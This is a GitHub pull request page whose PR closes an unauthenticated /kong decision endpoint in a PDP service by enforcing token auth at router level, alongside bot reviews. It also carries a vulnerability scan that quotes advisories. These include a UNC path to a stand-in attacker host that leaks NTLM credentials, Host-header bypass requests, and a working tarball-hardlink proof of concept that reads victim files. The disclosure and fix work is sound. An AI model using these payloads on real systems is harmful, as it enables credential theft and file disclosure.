fix: gate /kong, split /health public, enforce PDP token at router level (PER-15244)

[dshoen619]

Closes PER-15244

What

Closes the unauthenticated POST /kong decision endpoint and kills the per-route auth footgun class on the enforcer router:

1. /health split to a public router (done first, deliberately): moved out of enforcer_router into a dedicated init_enforcer_health_router(), mounted without auth. k8s/LB liveness probes (Helm chart probes GET /health with no headers) are unaffected by the next step. Body unchanged.
2. Router-level auth on the enforcer router: include_router(enforcer_router, dependencies=[Depends(enforce_pdp_token)]) — matching every sibling router (local/proxy/facts/connectivity). This gates /kong: FastAPI runs dependencies before the handler, so auth now precedes the KONG_INTEGRATION 503 check.
3. Per-route enforce_pdp_token copies removed (8 routes). The Depends(notify_seen_sdk) deps are kept where present; router-level deps run first, so effective order is preserved.
4. enforce_pdp_token header param defaults to None: previously a missing Authorization header was rejected by FastAPI param validation as 422 and the function's is None -> 401 branch was dead code. Now a missing header returns 401, per the issue's acceptance spec. Invalid-token 401 behavior unchanged. (Malformed-header 500 is intentionally untouched — that is PER-15245/PER-15250 scope.)

Behavior changes

Request	Before	After
POST /kong, no/any-invalid token	503 (or a live decision with KONG_INTEGRATION=true)	401
Gated route, missing Authorization header	422	401
Gated route, invalid token	401	401 (unchanged)
GET /health, no token	200	200 (unchanged, still public)

Tests

• Parametrized sweep: all 9 enforcer routes × {missing token → 401, invalid token → 401}.
• /health tokenless → 200.
• /kong: valid token + integration disabled → 503; full enabled flow (routes table + mocked OPA) → tokenless 401, valid token 200 {"result": true}.
• Valid-token 200 flows added for /authorized_users and /nginx_allowed (previously uncovered).
• Full horizon/tests/ suite: 72 passed; ruff check + format clean at the pre-commit-pinned v0.11.6.
• Route-table audit (walking route.dependant.dependencies on the live app): every APIRoute carries the PDP-token/control-key dep except the intended public set (/health, OPAL's /, /healthcheck, /healthy, /ready) and OPAL routes with their own listener-JWT auth. The OPAL trigger routes stay open by design here — they are PER-15245/PER-15247 scope.

⚠ Pre-merge check for reviewers

Confirm the Kong OPA plugin forwards Authorization: Bearer <PDP_API_KEY> (precedent: the gated /nginx_allowed works with its nginx caller). If Kong cannot send it, /kong needs a dedicated credential — flag to the integrations owner.

🤖 Generated with Claude Code

[linear-code]

PER-15244

[github-actions]

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next

digest	sha256:5d1ce118ab160fec0b2194427815bb0beebca75187c72e97a7dce79906b99823
vulnerabilities
platform	linux/amd64
size	218 MB
packages	247

📦 Base Image python:3.10-alpine3.22

also known as	3.10.20-alpine3.22
digest	sha256:c8f94b3bb77e6ea9015ccd091b7f8aec1b1fcbca95159675235d9a93788797cd
vulnerabilities

starlette 0.50.0 (pypi) pkg:pypi/starlette@0.50.0 Allocation of Resources Without Limits or Throttling Affected range >=0.4.1 <1.3.1 Fixed version 1.3.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.275% EPSS Percentile 19th percentile Description Summary request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. Details request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the max_files, max_fields, and max_part_size limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no max_fields or max_part_size parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies. Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects: Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request. Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body. The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size. Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop. Mitigation Upgrade to a patched version, which forwards max_fields and max_part_size to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (max_fields=1000, max_part_size=1MB) and can be customized via request.form(max_fields=..., max_part_size=...). Server-Side Request Forgery (SSRF) Affected range <1.1.0 Fixed version 1.1.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N EPSS Score 0.368% EPSS Percentile 29th percentile Description Summary When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts. Details StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected. This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O. Impact Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses. Mitigation Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved. Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <=1.0.0 Fixed version 1.0.1 CVSS Score 6.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N EPSS Score 1.438% EPSS Percentile 70th percentile Description Summary In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed. Details When a client requests http://example.com/foo, it sends: GET /foo HTTP/1.1 Host: example.com Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example: GET /foo HTTP/1.1 Host: example.com/abc?bar= reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed. Impact Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere. Mitigation Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values. Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') Affected range <1.1.0 Fixed version 1.1.0 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N EPSS Score 0.213% EPSS Percentile 12th percentile Description Summary When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs. When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. Details HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as _DO_DELETE therefore resolves an attribute like _do_delete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector. Impact An application is affected when all of the following hold: It defines an HTTPEndpoint subclass and registers it via Route(...) without an explicit methods= argument. The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single request argument and return a response. This also affects frameworks built on Starlette, like FastAPI. Mitigation Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute. Improper Input Validation Affected range <1.3.0 Fixed version 1.3.0 CVSS Score 3.7 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N EPSS Score 0.187% EPSS Percentile 8th percentile Description Summary In affected versions, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @<!-- -->google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host. Details When a client requests a path that does not start with /: GET @<!-- -->google.com HTTP/1.1 Host: localhost affected versions reconstruct the URL as http://localhost@<!-- -->google.com. Per RFC 3986 §3.2.1, the substring before @ in the authority is userinfo, so re-parsing yields username = "localhost" and hostname = "google.com", with an empty path: request.url == "http://localhost@<!-- -->google.com" request.url.hostname == "google.com" request.url.path == "" The root cause is that the path is concatenated directly after the host without a separating /, and without validating that it begins with one. Only the Host header was validated when constructing request.url; the path was not. This requires an ASGI server that forwards a request-target lacking a leading / into scope["path"]. Impact Any application running an affected version that uses request.url, request.url.netloc, or request.url.hostname for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first. Note that this is less exploitable than GHSA-86qp-5c8j-p5mr: there, the poison is carried in the Host header, so the real path still routes to a valid endpoint while request.url.path lies. Here, the poison must be carried in the path itself, and that path (@<!-- -->google.com) does not match any registered route, so routing returns 404 and no endpoint handler runs. The exposure is limited to code that reads request.url before routing - notably middleware - or in 404/exception handlers. Mitigation Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields http://localhost/@<!-- -->google.com with request.url.hostname == "localhost".

oras.land/oras-go/v2 2.6.1 (golang) pkg:golang/oras.land/oras-go/v2@2.6.1 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=2.6.1 Fixed version Not Fixed CVSS Score 7.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N Description Root cause The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller: func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION } if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil // <-- returns the ORIGINAL target, not the validated path } The caller for TypeLink hardlinks then does: case tar.TypeLink: var target string if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(target, filePath) } os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page: oldpath and newpath are interpreted relative to the current working directory of the calling process. So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed. Attack An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with: A regular file: payload.tar.gz/README.txt. A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative). and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract). When a victim runs oras pull (or any Go code using content.File), the extraction: Validates payload.tar.gz/evil_cwd_link — passes. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"): path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes. Returns target = "victim.secret" (NOT path). Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link"). link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret. The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other. Proof of Concept Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz). Reproduction script (standalone, ~50 lines) attached. Summary of key steps: # 1. Place victim file in the future CWD. mkdir -p cwd-space extract echo "TOP SECRET FROM CWD" > cwd-space/victim.secret # 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE. python3 -c ' import tarfile, io, os with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t: info = tarfile.TarInfo(name="payload.tar.gz/README.txt") c = b"pulled from registry"; info.size = len(c); info.mode = 0o644 info.uid = os.getuid(); info.gid = os.getgid() t.addfile(info, io.BytesIO(c)) link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link") link.type = tarfile.LNKTYPE link.linkname = "victim.secret" # RELATIVE link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid() t.addfile(link) ' # 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space. (cd cwd-space && oras push --oci-layout ../layout:v1 \ payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip) # ... patch layout/blobs/sha256/<manifest> to add # io.deis.oras.content.unpack: "true" on layers[0].annotations ... (cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract) # 4. Observe inode sharing. stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160 stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME) cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD" Observed output: evil_cwd_link (inside extract dir): inode=6554160 victim.secret (in invoker CWD): inode=6554160 *** ESCAPE CONFIRMED *** Reading through the extract-dir hardlink yields the CWD file contents: TOP SECRET FROM CWD A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API. Impact Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim. Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on. High-severity chains: CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published. Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary. Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive. Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state. Not affected: oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server. Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path). Attack-surface boundary (fs.protected_hardlinks) On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted. So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context: Invocation context Reachable file classes oras pull run by a regular user Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files. oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys. The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution. Proposed fix Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path. // Current behavior preserved for TypeSymlink. TypeLink switches to the resolved // path to avoid CWD-resolution mismatch at os.Link time. func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", "", err } return target, path, nil } case tar.TypeLink: var absTarget string if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(absTarget, filePath) } case tar.TypeSymlink: var symTarget string symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname) if err != nil { return err } if err = os.Symlink(symTarget, filePath); err != nil { ... } Regression test to add: Extend Test_extractTarDirectory_HardLink with a third sub-test that: Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative). Extracts. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.

busybox 1.37.0-r20 (apk) pkg:apk/alpine/busybox@1.37.0-r20?os_name=alpine&os_version=3.22 Affected range <=1.37.0-r20 Fixed version Not Fixed EPSS Score 0.258% EPSS Percentile 17th percentile Description

sqlparse 0.5.0 (pypi) pkg:pypi/sqlparse@0.5.0 Allocation of Resources Without Limits or Throttling Affected range <=0.5.3 Fixed version 0.5.4 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Description Summary The below gist hangs while attempting to format a long list of tuples. This was found while drafting a regression test for Dja ngo 5.2's composite primary key feature, which allows querying composite fields with tuples.

util-linux 2.41-r9 (apk) pkg:apk/alpine/util-linux@2.41-r9?os_name=alpine&os_version=3.22 Affected range <=2.41-r9 Fixed version Not Fixed EPSS Score 0.118% EPSS Percentile 2nd percentile Description

go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp 1.42.0 (golang) pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp@1.42.0 Memory Allocation with Excessive Size Value Affected range <1.43.0 Fixed version 1.43.0 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.190% EPSS Percentile 9th percentile Description overview: this report shows that the otlp HTTP exporters (traces/metrics/logs) read the full HTTP response body into an in-memory bytes.Buffer without a size cap. this is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can mitm the exporter connection). severity HIGH not claiming: this is a remote dos against every default deployment. claiming: if the exporter sends traces to an untrusted collector endpoint (or over a network segment where mitm is realistic), that endpoint can crash the process via a large response body. callsite (pinned): exporters/otlp/otlptrace/otlptracehttp/client.go:199 exporters/otlp/otlptrace/otlptracehttp/client.go:230 exporters/otlp/otlpmetric/otlpmetrichttp/client.go:170 exporters/otlp/otlpmetric/otlpmetrichttp/client.go:201 exporters/otlp/otlplog/otlploghttp/client.go:190 exporters/otlp/otlplog/otlploghttp/client.go:221 permalinks (pinned): https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlptrace/otlptracehttp/client.go#L199 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlptrace/otlptracehttp/client.go#L230 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlpmetric/otlpmetrichttp/client.go#L170 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlpmetric/otlpmetrichttp/client.go#L201 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlplog/otlploghttp/client.go#L190 https://github.com/open-telemetry/opentelemetry-go/blob/248da958375e4dfb4a1105645107be3ef04b1c59/exporters/otlp/otlplog/otlploghttp/client.go#L221 root cause: each exporter client reads resp.Body using io.Copy(&respData, resp.Body) into a bytes.Buffer on both success and error paths, with no upper bound. impact: a malicious collector can force large transient heap allocations during export (peak memory scales with attacker-chosen response size) and can potentially crash the instrumented process (oom). affected component: go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp repro (local-only): unzip poc.zip -d poc cd poc make canonical resp_bytes=33554432 chunk_delay_ms=0 expected output contains: [CALLSITE_HIT]: otlptracehttp.UploadTraces::io.Copy(resp.Body) [PROOF_MARKER]: resp_bytes=33554432 peak_alloc_bytes=118050512 control (same env, patched target): unzip poc.zip -d poc cd poc make control resp_bytes=33554432 chunk_delay_ms=0 expected control output contains: [CALLSITE_HIT]: otlptracehttp.UploadTraces::io.Copy(resp.Body) [NC_MARKER]: resp_bytes=33554432 peak_alloc_bytes=512232 attachments: poc.zip (attached) PR_DESCRIPTION.md attack_scenario.md poc.zip Fixed in: open-telemetry/opentelemetry-go#8108

[github-actions]

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next

digest	sha256:5d1ce118ab160fec0b2194427815bb0beebca75187c72e97a7dce79906b99823
vulnerabilities
platform	linux/amd64
size	218 MB
packages	247

📦 Base Image python:3.10-alpine3.22

also known as	3.10.20-alpine3.22
digest	sha256:c8f94b3bb77e6ea9015ccd091b7f8aec1b1fcbca95159675235d9a93788797cd
vulnerabilities

[Copilot]

Pull request overview

This PR closes an auth gap by enforcing PDP token authentication at the router level for enforcer endpoints (including /kong), while keeping /health publicly accessible for k8s/LB probes.

Changes:

• Split /health into a dedicated public router and mount it without auth.
• Apply enforce_pdp_token as a router-level dependency for the enforcer router and remove per-route copies.
• Add/expand tests to validate 401 behavior for missing/invalid tokens across enforcer endpoints and cover /kong flows; pin aiohttp<3.14 for test mocking compatibility and bump k3d version in CI.

Reviewed changes

Copilot reviewed 6 out of 6 changed files in this pull request and generated no comments.

Show a summary per file

File	Description
requirements-dev.txt	Pin aiohttp<3.14 in dev/test env to keep aioresponses compatible.
horizon/tests/test_enforcer_api.py	Add auth-sweep tests for protected routes; add /health public test and /kong auth + integration tests.
horizon/pdp.py	Mount new health router publicly; enforce PDP token at enforcer router include level.
horizon/enforcer/api.py	Split out init_enforcer_health_router() and remove per-route PDP-token dependencies from enforcer routes.
horizon/authentication.py	Make Authorization header optional so missing token yields 401 instead of 422.
.github/workflows/tests.yml	Pin k3d version to avoid upstream install/download issues in CI.

Comments suppressed due to low confidence (1)

horizon/authentication.py:15

• authorization.split(" ") will raise ValueError for malformed Authorization headers (e.g. "Bearer", extra spaces, or no space), which will surface as a 500 instead of a 401. Since enforce_pdp_token is now applied router-wide, harden parsing to always return a controlled 401 on malformed headers.

def enforce_pdp_token(authorization: Annotated[str | None, Header()] = None):
    if authorization is None:
        raise HTTPException(status.HTTP_401_UNAUTHORIZED, detail="Missing Authorization header")
    schema, token = authorization.split(" ")

    if schema.strip().lower() != "bearer" or token.strip() != get_env_api_key():
        raise HTTPException(status.HTTP_401_UNAUTHORIZED, detail="Invalid PDP token")

---

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[zeevmoney]

Automated review — PER-15244 (gate /kong, split /health public, router-level auth) [URGENT security]

What this PR does: Closes an unauthenticated-endpoint hole. In horizon/enforcer/api.py the enforcer routes no longer carry per-route Depends(enforce_pdp_token); instead horizon/pdp.py includes the whole enforcer router with a router-level dependencies=[Depends(enforce_pdp_token)], so every enforcer route — including /kong, which at base was mounted with NO auth dependency and was therefore publicly callable — now requires the PDP token. /health is moved to a new dependency-free init_enforcer_health_router() mounted without auth, so liveness probes (which cannot attach the token) keep working. enforce_pdp_token gains an = None default so a missing header yields the function's 401 rather than a 422. Adds thorough tests. The PR also bundles the pdp-tester CI migration and a pytests fix (finding 1).

Verdict: APPROVE. No Postable finding is HIGH or CRITICAL (severity rule: only MEDIUM/LOW postable -> approve). The security change verifies out and is provably complete:

• /kong was unauthenticated at base (git show 15689c7:horizon/enforcer/api.py — the @router.post("/kong") decorator had no dependencies); it is now gated by the router-level dep. Confirmed vuln + fix.
• All 9 enforcer routes (/authorized_users, /allowed_url, /user-permissions, /user-tenants, /allowed/all-tenants, /allowed/bulk, /allowed, /nginx_allowed, /kong) sit on the single gated router — init_enforcer_api_router is called exactly once (pdp.py) and included once with the dep. The new test_enforcer_endpoint_missing_token_returns_401 is parametrized over exactly those 9 and asserts 401; pytests is green, so gating is proven for every route.
• /health is the only route on the public router; test_health_endpoint_is_public asserts 200 without a token. The other app routers (local, proxy, facts x2, connectivity, system) already carried their own auth at base and are unchanged.
• FastAPI applies include-level dependencies before route-level ones, so enforce_pdp_token still runs before notify_seen_sdk — no regression for authed routes (valid-token allow-path tests for /kong, /authorized_users, /nginx_allowed all pass).

Findings

Postable

#	Sev	File:Line	Category	Description
1	MEDIUM	requirements-dev.txt:7 (+ .github/workflows/tests.yml)	Isolation / scope	Urgent security fix bundled with the pdp-tester CI migration (3rd divergent copy across #317/#318/#319) and a pytests fix that pins aiohttp<3.14 — a strategy contradicting #318's conftest.py shim. Recommend splitting CI/test-infra out so the security fix merges cleanly.

Informational

#	Sev	Ref	Category	Description
I1	LOW	horizon/authentication.py:12	Robustness (pre-existing)	authorization.split(" ") unpacked into schema, token raises ValueError -> HTTP 500 (not 401) for a header with no space or >1 space (e.g. Authorization: Bearer). Still denies, but 500; now reachable on all enforcer routes via the router-level dep. Pre-existing (line unchanged); partition(" ") / length-check would be cleaner.
I2	LOW	horizon/authentication.py:14	Security hygiene (pre-existing)	Token compared with != (not constant-time). Low practical risk for a network bearer token; pre-existing, unchanged here.
I3	INFO	requirements-dev.txt:7	Test fidelity	Dev-pinning aiohttp<3.14 means tests run against 3.13.x while the shipped image (requirements.txt aiohttp>=3.13.3,<4) resolves to 3.14.x — tests no longer exercise the prod aiohttp line.
I4	INFO	docker-scout / security-snyk (CI)	Pre-existing / infra	docker-scout red (residual base-image CVEs; this branch does not bump image deps); security/snyk red on a quota limit — neither is a finding. pytests / pdp-tester / build / rust / pre-commit all green.
I5	INFO	cross-PR (#321)	Interaction	#321 adds a default-deny auth MIDDLEWARE. If both land, #321's middleware and this PR's router-level dep double-gate the enforcer routes (defense-in-depth, fine) — but #321's allowlist MUST include the public /health route mounted here, or health breaks. Flagged for #321's review.

Blast radius: Auth surface only — all enforcer routes now gated at router level; other routers unchanged (already gated); /health intentionally public. No downstream schema/data changes. The bundled tests.yml collides with #318/#319 on the same file.

Isolation / scope: Core security work is well-isolated and complete. Out-of-scope CI/test-infra bundled in (MEDIUM) — 3rd divergent tester-migration copy + a contradictory pytests fix.

[zeevmoney]

[MEDIUM] Urgent security fix bundled with churny CI/test-infra changes (3rd divergent copy of the tester migration; test-fix strategy contradicts #318)

Problem: This PR's load-bearing change is the security fix (gate /kong, split /health, router-level auth — commit b8a4637), which is flagged URGENT. It also drags in two unrelated CI/test-infra changes that make it slower and riskier to land:

• .github/workflows/tests.yml — the pdp-tester k3d -> Docker migration. This is now the THIRD open PR carrying that same migration (fix: gate /kong, split /health public, enforce PDP token at router level (PER-15244) #317, fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358) #318, ci: run pdp-tester via Docker runtime instead of k3d #319), and all three copies have diverged: this one runs python -m pdp_tester --docker --skip-generate with LOCAL_TAGS: '["next"]' and no START_TIMEOUT; fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358) #318/ci: run pdp-tester via Docker runtime instead of k3d #319 use --local --tag next + START_TIMEOUT=180; ci: run pdp-tester via Docker runtime instead of k3d #319 additionally adds timeout-minutes, pip caching, and robust non-zero-exit handling. Three variants of one change guarantee merge conflicts and lost improvements.
